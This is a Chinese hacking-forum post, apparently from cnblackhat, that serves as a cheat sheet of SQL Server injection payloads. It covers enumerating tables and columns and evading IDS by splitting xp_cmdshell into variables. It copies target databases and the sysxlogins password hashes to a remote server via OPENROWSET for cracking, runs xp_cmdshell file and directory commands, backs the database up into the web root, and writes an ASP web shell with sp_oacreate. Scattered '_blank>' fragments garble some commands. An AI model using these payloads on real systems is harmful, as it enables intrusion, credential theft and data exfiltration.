|  
 TA的每日心情|  | 奋斗 2019-10-18 11:20
 | 
|---|
 签到天数: 678 天 [LV.9]以坛为家II | 
| 通过查看ffff的用户资料可得第一个用表叫ad 然后根据表名ad得到这个表的ID 得到第二个表的名字
 insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
 insert into users values( 667,123,123,0xffff)--
 insert into users values ( 123, admin--, password, 0xffff)--
 ;and user>0
 ;and (select count(*) from sysobjects)>0
 ;and (select count(*) from mysysobjects)>0 //为access_blank>数据库
 枚举出数据表名
 
 ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
 这是将第一个表名更新到aaa的字段处。
 读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
 ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
 然后id=1552 and exists(select * from aaa where aaa>5)
 读出第二个表,一个个的读出,直到没有为止。
 读字段是这样:
 ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));--
 然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
 ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--
 然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
 [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
 update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
 通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
 [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
 update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
 绕过IDS的检测[使用变量]
 ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
 ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
 
 1、 开启远程_blank>数据库
 基本语法
 select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
 参数: (1) OLEDB Provider name
 
 2、 其中连接字符串参数可以是任何端口用来连接,比如
 select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
 
 3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。
 基本语法:
 insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
 
 这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
 select * from master.dbo.sysdatabases
 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
 select * from user_blank>_database.dbo.sysobjects
 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
 select * from user_blank>_database.dbo.syscolumns
 
 复制_blank>数据库:
 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
 
 复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
 insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
 
 得到hash之后,就可以进行暴力破解。
 遍历目录的方法: 先创建一个临时表:temp
 ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
 ;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器
 ;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表
 ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
 ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
 ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
 ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
 ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
 ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC)
 写入表:
 语句1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
 语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));--
 语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--
 语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
 语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
 语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--
 语句7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
 语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
 语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--
 把路径写到表中去:
 ;create table dirs(paths varchar(100), id int)--
 ;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
 and 0<>(select top 1 paths from dirs)--
 and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
 ;create table dirs1(paths varchar(100), id int)--
 ;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
 and 0<>(select top 1 paths from dirs1)--
 把_blank>数据库备份到网页目录:下载
 ;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--
 and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
 and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
 and 1=(select user_blank>_id from USER_blank>_LOGIN)
 and 0=(select user from USER_blank>_LOGIN where user>1)
 -=- wscript.shell example -=-
 declare @o int
 exec sp_blank>_oacreate wscript.shell, @o out
 exec sp_blank>_oamethod @o, run, NULL, notepad.exe
 ; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--
 declare @o int, @f int, @t int, @ret int
 declare @line varchar(8000)
 exec sp_blank>_oacreate scripting.filesystemobject, @o out
 exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
 exec @ret = sp_blank>_oamethod @f, readline, @line out
 while( @ret = 0 )
 begin
 print @line
 exec @ret = sp_blank>_oamethod @f, readline, @line out
 end
 declare @o int, @f int, @t int, @ret int
 exec sp_blank>_oacreate scripting.filesystemobject, @o out
 exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
 exec @ret = sp_blank>_oamethod @f, writeline, NULL,
 <% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
 declare @o int, @ret int
 exec sp_blank>_oacreate speech.voicetext, @o out
 exec sp_blank>_oamethod @o, register, NULL, foo, bar
 exec sp_blank>_oasetproperty @o, speed, 150
 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
 waitfor delay 00:00:05
 ; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
 xp_blank>_dirtree适用权限PUBLIC
 exec master.dbo.xp_blank>_dirtree c:\
 返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
 create table dirs(paths varchar(100), id int)
 建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。
 insert dirs exec master.dbo.xp_blank>_dirtree c:\
 只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
 
 
 相关链接:https://bbs.cnblackhat.com/thread-424-1-1.html
 | 
 |